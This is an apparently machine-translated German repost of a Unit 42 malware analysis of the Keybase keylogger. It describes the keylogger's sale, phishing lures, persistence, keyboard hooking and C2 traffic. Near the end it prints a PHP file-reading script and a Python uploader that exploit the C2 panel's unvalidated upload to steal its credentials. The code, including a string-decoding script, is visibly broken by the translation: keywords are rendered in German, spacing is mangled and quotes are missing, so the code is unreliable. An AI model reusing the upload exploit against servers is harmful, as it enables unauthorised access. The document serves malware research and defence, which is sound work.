Keybase Keylogger Malware-Familie ausgesetzt

Keybase Keylogger Malware-Familie ausgesetzt

25175
Created On 09/26/18 13:39 PM - Last Modified 02/07/19 23:36 PM


Resolution


Nachdruck von der Einheit 42.

In den letzten Monaten hat unser Team eine Keylogger-Malware-Familie namens keybase verfolgt, die seit Februar 2015 in freier Wildbahn ist. Die Malware ist mit einer Vielzahl von Funktionen ausgestattet und kann für $50 direkt beim Autor erworben werden. Sie wurde bei Angriffen auf Organisationen in vielen Branchen eingesetzt und wird überwiegend über Phishing-e-Mails ausgeliefert.

Insgesamt identifizierte Palo Alto Networks Autofokus Threat Intelligence Service in den vergangenen vier Monaten 295 Unique Samples über rund 1.500 Unique Sessions. Anschläge haben vor allem die Hightech-, Hochschul-und Einzelhandelsbranche im Visier.

Malware-Distribution und Ziele

Keybase wurde erstmals Mitte Februar 2015 beobachtet. Kurz zuvor war die Domain ' keybase [.] in ', wurde als Homepage und Online-Shop für die keybase Keylogger registriert.

Domain Name: keybase. In

Erstellt am: 04-Feb-2015 08:27:44 UTC

Zuletzt aktualisiert am: 05-Apr-2015 19:20:38 UTC

Verfallsdatum: 04-Feb-2016 08:27:44 UTC

Diese Aktivität ist im Einklang mit einem ersten Posting, das von einem Benutzer mit dem Griff ' Support ™ ' gemacht wurde, der keybase auf dem hackforums.net Forum am 7. Februar 2015 ankündigt. In der Forums Post gibt die Malware folgende Funktionen an:

  • Advanced Keylogger
  • Vollständig unerkannte Scan-Zeit und Laufzeit (später entfernt)
  • Benutzerfreundliches Web-Panel
  • Unicode Support
  • Kennwort-Wiederaufnahme

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Forums.png

Abbildung 1. Keybase-Posting auf hackforums.net

Seit Februar 2015 wurden etwa 1.500 Sitzungen mit keybase von Wildfire erfasst, wie wir weiter unten sehen können:

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-2.png

Abbildung 2. Keybase-Timeline im Autofokus

Wir können auch schnell gezielt Branchen mit Autofokus ermitteln:

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-3.png

Abbildung 3. Gezielte Branchen im Autofokus

Die gezielten Unternehmen erstrecken sich über den Globus und befinden sich in vielen Ländern.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-4.png

Abbildung 4. Zielländer im Autofokus

Diese Malware wird in erster Linie über Phishing-e-Mails mit gängigen Köder geliefert. Einige Beispiele für Attachment-Dateinamen sind unten zu sehen:

  • Bestell. exe
  • New Order. exe
  • Dokument 27895. SCR
  • Payment Document. exe
  • Po #7478. exe
  • Überfällige Rechnungen. exe

Ein Beispiel für eine e-Mail, die keybase liefert, können Sie unten sehen.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-5.png

Abbildung 5. Keybase Phishing Email

Insgesamt hat die Einheit 42 eine große Anzahl von separaten Kampagnen mit keybase gesehen. Da die Software von jedermann leicht gekauft werden kann, kommt das nicht überraschend. Wie wir im folgenden Diagramm sehen können, wurden rund 50 verschiedene Befehls-und Steuerungs Server (C2) mit bis zu 50 eindeutigen Samples identifiziert, die mit einem einzigen C2 verbunden sind.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-6.png

Abbildung 6. Keybase-Kampagnen Diagramm

Malware Übersicht

Keybase selbst ist in c# mit dem .NET-Framework geschrieben. Diese Tatsachen ermöglichten es uns, den zugrundeliegenden Code zu dekompilieren und die wichtigsten Funktionen und Eigenschaften des Keyloggers zu identifizieren.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-7.png

Abbildung 7. Keybase-Logo

Die Funktionalität in keybase beinhaltet Folgendes:

  • Anzeige einer Website beim Start
  • Screenshots
  • Herunterladen/ausführen
  • Persistenz
  • Kill Timer

Wenn die Malware zunächst ausgeführt wird, wird eine Reihe von Threads ausgelöst.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-8.png

Abbildung 8. Keybase-Hauptfunktion

Die verschiedenen Funktionen, die in neuen Threads entstehen, können auf der Grundlage von Optionen, die der Angreifer während des Aufbaus angegeben hat, inert sein. Sollte eine Funktion nicht aktiviert sein, sieht eine Funktion ähnlich aus wie die folgende:

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-9.png

Abbildung 9. Inertfunktionen in keybase

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-10.png

Abbildung 10. Keybase Builder

Der Autor bedient sich einer Reihe einfacher Verdunkelungs Techniken auf verschiedenen Strings, die im Code verwendet werden. Beispiele dafür sind das Ersetzen einzelner Zeichen, die zu Strings hinzugefügt wurden, sowie das Ausführen von Reverse-Operationen auf Strings.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-11.png

Abbildung 11. String-Verschleierung mit Ersatz

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-12.png

Abbildung 12. String-Verschleierung mit Reverse

Zusätzlich nutzt der Autor eine Verschlüsselungs Klasse. Diese Klasse wird verwendet, um eine Reihe von Strings zu entschlüsseln, die im Code gefunden wurden.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-13.png

Abbildung 13. Keybase-Verschlüsselungs Klasse

Verweise auf diesen dekompilierten Code wurden in einem alten Posting auf hackforums.net entdeckt, wo der Benutzer ' Ethereal ' Sample-Code zur Verfügung stellte.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-14.png

Abbildung 14. Verschlüsselungscode-Posting auf hackforums.net

Wir sehen die "decrypttext"-Funktion, die der Autor verwendet, wenn er/Sie dynamisch eine Reihe von Microsoft Windows-APIs lädt.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-15.png

Abbildung 15. Verschleierte API-Funktionen in keybase

Mit dem folgenden Python-Code können diese Strings entschlüsselt werden.

Crayon Syntax Highlighter v 2.6.6

#! / Usr/bin/Python

#-*-coding: Utf-8-*-

Strings = [u "ĈőŘĝŏŒįķŎŖġŎŠĠz", \

            u "ŝƕƸšƔưƕŷƔƇżƚƲƕƎƤË", \

            u "ķůƒĻŮƊůőŮšŖŴƌůŨž Yen", \

            u "ńîƓļůƋŰŒůŢŗŵƍŰũſ", \

            u "ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \

            u "ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \

            u "ňęƇśūŨżşŭƃŚŹťůŝŹƐŠ Yen", \

            u "ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \

            u "ńűƎřŹŷŴįŴƈŔŧśƀ £", \

            u "ŵƢDŽƏʀưƑƋƯƶŻƝØ"]

Schlüssel = ' keybase '

DEF Dec (Str, Key):

  key_len = len (Key)

  Out = ""

  für c, s in Enumerate (str [:-1]):

  Out + = Chr (Ord (s)-Ord (Key [c% key_len])-Ord (str [-1]))

  wieder raus

für s in Strings:

  Print "entschlüsselt:% 25S |  Verschlüsselt:% s "% (Dec (s, Key), repr (s))

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

#! / Usr/bin/Python

#-*-coding: Utf-8-*-

Strings = [ u"ĈőŘĝŏŒįķŎŖġŎŠĠz", \

            uƕƸšƔưƕŷƔƇżƚƲƕƎƤË", \

            u"ķůƒĻŮƊůőŮšŖŴƌůŨž Yen", \

            u"ńîƓļůƋŰŒůŢŗŵƍŰũſ", \

            u"ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \

            u"ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \

            u"ňęƇśūŨżşŭƃŚŹťůŝŹƐŠ Yen", \

            u"ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \

            u"ńűƎřŹŷŴįŴƈŔŧśƀ £", \

            uƢDŽƏʀưƑƋƯƶŻƝØ" ]

Schlüssel = ' keybase '

DEF Dec(Str, Key):

    key_len = len(Key)

    Out = ""

    für c, s in aufzählen(Str[:-1]):

        Out + = Chr(Ord(s) - Ord(Key[c%key_len]) - Ord(Str[-1]) )

    wieder raus

für s in Strings:

    Print "entschlüsselt:% 25S |  Verschlüsselt:% s " % (Dec(s, Key), repr(s))

[Format Zeit: 0,0047 Sekunden]

Persistenz

Die Persistenz in der keybase, sollte Sie aktiviert werden, wird mit zwei Techniken erreicht, — die Malware in den Startup-Ordner zu kopieren oder den Run-Registry-Schlüssel beim Start auf Autorun zu setzen. Wenn sich keybase in den Startup-Ordner kopiert, benennt es sich selbst ' wichtig. exe. ' Dies wird vom Autor statisch festgelegt und kann vom Benutzer in der aktuellen Version nicht geändert werden. Der Schlüssel, der in der folgenden Run-Registry-Taste verwendet wird, wird vom Benutzer gesetzt und ist immer ein 32 Byte-Hexadezimalwert.

HKCU\Software\Microsoft\Windows\CurrentVersion\Run [32 Byte Taste]: [path to ausführbar]

Keylogger

Die Schlüssel Protokollierung in keybase erfolgt in erster Linie in einer separaten Klasse, die entsprechend "keyhook" genannt wird. Während die Klasse einen Namen mit einem öffentlich zugänglichen Projektarchiv auf GitHub teilt, scheint die Klasse individuell geschrieben zu sein. Während der Custom, die Klasse selbst verwendet eine sehr gängige Technik der Verwendung der Microsoft Windows setwindowshookexa, um die Tastatur des Opfers zu Haken.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-16.png

Abbildung 16. Hooking-Tastatur via setwindowshookexa

Der Autor geht wie erwartet mit entsprechenden Tastatur Ereignissen um.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-17.png

Abbildung 17. Handhabung von Tastatur Veranstaltungen

Die Klasse hat auch die Möglichkeit, Unicode-Zeichen zu handhaben, sowie den Namen des Vordergrund Fensters zu erhalten. Dies ermöglicht es der Malware, nicht nur zu erkennen, welche Schlüssel gedrückt werden, sondern auf welche Anwendung diese Schlüsselmaschinen gesendet werden.

Befehl und Steuerung (C2)

Die Kommunikation mit einem entfernten Server erfolgt über http. Die Daten werden nicht verschlüsselt oder in irgendeiner Weise verschleiert. Nach der ersten Ausführung wird keybase einen ersten Check-in auf dem entfernten Server durchführen, wie wir weiter unten sehen können.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-18.png

Abbildung 18. Erste keybase-Benachrichtigung HTTP GET Anfrage

Eine Reihe von HTTP-Headern sind in der Anfrage nicht enthalten. Dies bietet eine einfache Technik, um die Aktivität als bösartig zu Kennzeichen. Es ist auch wichtig zu beachten, dass es ziemlich elementar ist, die Aktivität mit den in der Anfrage enthaltenen hardcodierten GET-Variablen zu erkennen. Während der Name der Opfermaschine und die aktuelle Uhrzeit variieren werden, bleibt der Rest der Anfrage statisch.

Keybase kann die folgenden Daten auch an den C2-Server zurücksenden:

  • Tastenanschläge
  • Zwischenablage
  • Screenshots

Beispiele für diese Daten finden Sie unten.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-19.png

Abbildung 19. Keybase Hochladen von Clipboard-Daten

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-20.png

Abbildung 20. Keybase-Upload von Tastendruck-Daten

Während dieser Kommunikation mit dem C2-Server wird keybase die RAW-Zwischenablage und die Tastatur-Log-Daten mit verschiedenen Get-Parametern enthalten. Diese Daten sind URI-verschlüsselt, aber ansonsten im Klartext gesendet.

Schließlich wird keybase auch eine bestimmte URI verwenden, um Screenshots hochzuladen. Der Pfad '/Image/Upload.php ' ist innerhalb der Malware hardcodiert. Alle Bilder, die an den C2-Server zurückgesendet werden, werden innerhalb des '/Image/Images/'-Pfades platziert. Hochgeladene Daten werden wieder unverschlüsselt gesendet, wie wir weiter unten sehen können.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-21.png

Abbildung 21. Keybase Upload Screenshot Bild

Web Panel

Das Web-Panel selbst bietet keine innovativen Eigenschaften. Es verwendet ein einfaches rot/graues Farbschema, wie unten zu sehen.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-22.png

Abbildung 22. Keybase Web Panel

Das Panel erlaubt es dem Angreifer, infizierte Maschinen, Tastenkombinationen, Screenshots, Clipboard-Daten und Passwortdaten schnell anzuzeigen. Leider nutzt der Autor von keybase nicht die Pagination, was zu einer schlechten Leistung führt, falls eine große Menge an Daten dem Angreifer angezeigt wird.

Interessante Entdeckungen

Im Laufe unserer Forschung entdeckte Unit 42, dass bei der Betrachtung des '/Image/Images/'-Pfades keine Authentifizierung erforderlich war. Vor allem ein C2-Server sticht heraus, weil es den Anschein hatte, dass der Bediener keybase auf seinem lokalen Rechner testete. Als solche wurden Screenshots seiner Maschine auf seinen Server hochgeladen und konnten von der breiten Öffentlichkeit eingesehen werden. Im Screenshot unten sehen wir deutlich den Ordner ' keybase v 1.0 '. Dieser Ordner enthält mit ziemlicher Sicherheit die keybase-Installation. Beim Betrachten des Desktops des Bedieners können wir auch eine Reihe anderer Keylogger sehen, wie zum Beispiel ' Hawkeye Keylogger ' und ' Knight Logger '. Ebenfalls zu beachten ist ein beliebter Krypter namens ' aegiscrypter '. Schließlich können wir auch sehen, dass der Benutzer sich mit Piraterie beschäftigt, da auch Kopien von "The Hobbit" und "Fury" auf dem Desktop erscheinen.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-23.png

Abbildung 23. Keybase-Operator Desktop Screenshot

Während wir die hochgeladenen Bilder weiterhin untersuchen, identifizieren wir auch den Benutzer, der sich über Remote Desktop in einen Windows-Webserver 2008 R2-Instanz einloggt. Dies scheint der Fall zu sein, an dem der Angreifer seine Spam-Kampagnen mit einer Instanz von "Turbo-Mailer 2.7.10" startet. Leider scheint es, als habe der Betreiber in diesem Moment seinen Benutzernamen/Passwort vergessen.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-24.png

Abbildung 24. Keybase-Betreiber schickt Phishing-e-Mails

Die weitere Untersuchung der hochgeladenen Screenshots zeigt die Aktivität des Nutzers, der sich in seinem Facebook-Account einloggt. Der Benutzer sucht, "China onyeali" genannt zu werden, und wird beobachtet, wie er einige seiner letzten Bemühungen diskutiert. Konkret sehen wir einen Link zu einer. rar-Datei, die auf rghost gehostet wird [.] Netz, das die folgende Datei enthält. Wir sehen auch, wie der Bediener den Hawkeye-Keylogger in einem anderen Chat-Fenster diskutiert. Die Facebook-Seite des Betreibers behauptet, dass er/Sie in mbieri, Nigeria, lebt. Wir haben zuvor über nigerianische Schauspieler berichtet, die aus dem Regal Werkzeuge benutzten, um das Geschäft in unserem Bericht 419 Evolution im vergangenen Juli anzugreifen. Dieser Nutzer wurde dem Facebook-Sicherheitsteam gemeldet.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-25.png

Abbildung 25. Keybase-Betreiber in Facebook eingeloggt

Weitere interessante Entdeckungen

Weitere interessante Entdeckungen wurden bei der Recherche des Backend-C2-Codes gemacht. Insbesondere wurde die Upload. php-Datei untersucht und analysiert, da diese Datei Dateien-Uploads auf den Server handhabt. Wie wir sehen können, gibt es keine Validierung für die Arten von Dateien, die auf den entfernten Server hochgeladen werden.

http://researchCenter.paloaltonetworks.com/wp-content/uploads/2015/06/Hack-Figure-26.png

Abbildung 26. Keybase Screenshot PHP-Skript hochladen

Dies stellt aus Sicherheitssicht ein Problem dar, da ein Dritter einfach ein PHP-Skript in das "/Image/Images/"-Verzeichnis hochladen kann, um unbefugten Zugriff zu erhalten. Der folgende PHP-Code kann verwendet werden, um das Skript "config. php" zu lesen, das den Benutzernamen und das Passwort für das Web-Panel enthält.

Crayon Syntax Highlighter v 2.6.6

<? Php

  $file = '.. /.. /config.php ';

  Echo "es funktioniert!". "<br>";

  if (file_exists ($File)) {

  Echo "lesedatei". "<br>";

  Echo file_get_contents ($File);

  }

?>

1

2

3

4

5

6

7

8

9

10

<? Php

    $file = '.. /.. /config.php ';

    Echo "es funktioniert!" . "<br>";

    If (file_exists($file)) {

        Echo "lesedatei"."<br>";

        Echo file_get_contents($file);

    }

?>

[Format Zeit: 0,0047 Sekunden]

Zusätzlich kann der folgende Python-Code verwendet werden, um diese Datei hochzuladen und die Ergebnisse zu lesen.

Crayon Syntax Highlighter v 2.6.6

Import Anfragen

Import sys

If Len (sys. argv)! = 2:

  Print "use:% s [php_file]"% __FILE__

  sys. Exit (1)

URL = ""

Drucken Sie "Anfrage senden"...

multiple_files = [(' file ', (' Win-JJFOIJGL_6_5_14_22_2. php ', Open (sys. argv [1], ' RB ')))

r = Requests. Post (URL + "Bild/Upload. php", files = multiple_files)

Druck "Ergebnisse:"

Drucken

r = Anfragen. get (URL + "Bild/Bilder/Win-JJFOIJGL_6_5_14_22_2. php")

Print r. Text

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

Import Anfragen

Import sys

If len(sys. argv) ! = 2:

    Print "use:% s [php_file]" % __FILE__

    sys. Exit(1)

URL = ""

Drucken Sie "Anfrage senden "...

multiple_files = [(' file ', (' Win-JJFOIJGL_6_5_14_22_2. php ', Open(sys. argv[1], ' RB ') ))

r = Anfragen. Post(URL + "Bild/Upload. php", Files=multiple_files)

Druck "Ergebnisse:"

Drucken

r = Anfragen. get(URL + "Bild/Bilder/Win-JJFOIJGL_6_5_14_22_2. php")

Print r. Text

[Format Zeit: 0,0028 Sekunden]

Fazit

Insgesamt ist diese keybase-Malware ziemlich unsophimiert. Es fehlt eine Reihe von Funktionen, die in einigen der populärsten Malware-Familien zur Verfügung stehen, und das C2-Web-Panel enthält Sicherheitslücken, die es einem Dritten ermöglichen könnten, unbefugten Zugriff zu erhalten. Der Builder für keybase bietet eine einfach zu bedienende, benutzerfreundliche Oberfläche; Allerdings sind eine Reihe von Optionen in die Malware selbst eingegeben. Einige Beispiele sind die Verwendung des Datei namens, wenn er kopiert wird, um die Persistenz zu erhalten, und verschiedene URI-Pfade, die er während der Befehls-und Kontrollphase verwendet.

Während diese Malware einige Probleme mit der Raffinesse hat, hat Unit 42 einen signifikanten und anhaltenden Anstieg der Nutzung durch Angreifer beobachtet, die in der Regel auf die High-Tech, die Hochschulbildung und den Einzelhandel abzielen. Palo Alto Networks Kunden sind über Wildfire geschützt, das in der Lage ist, keybase als bösartig zu erkennen. Die Leser können auch die für den Einsatz von Schutzmaßnahmen vorgesehenen Indikatoren nutzen.

Eine Liste der Sample-Hashes und der zugehörigen Domains und IP-Adressen finden Sie unter folgendem Link.



Actions
  • Print
  • Copy Link

    https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000CllPCAS&lang=de&refURL=http%3A%2F%2Fknowledgebase.paloaltonetworks.com%2FKCSArticleDetail

Choose Language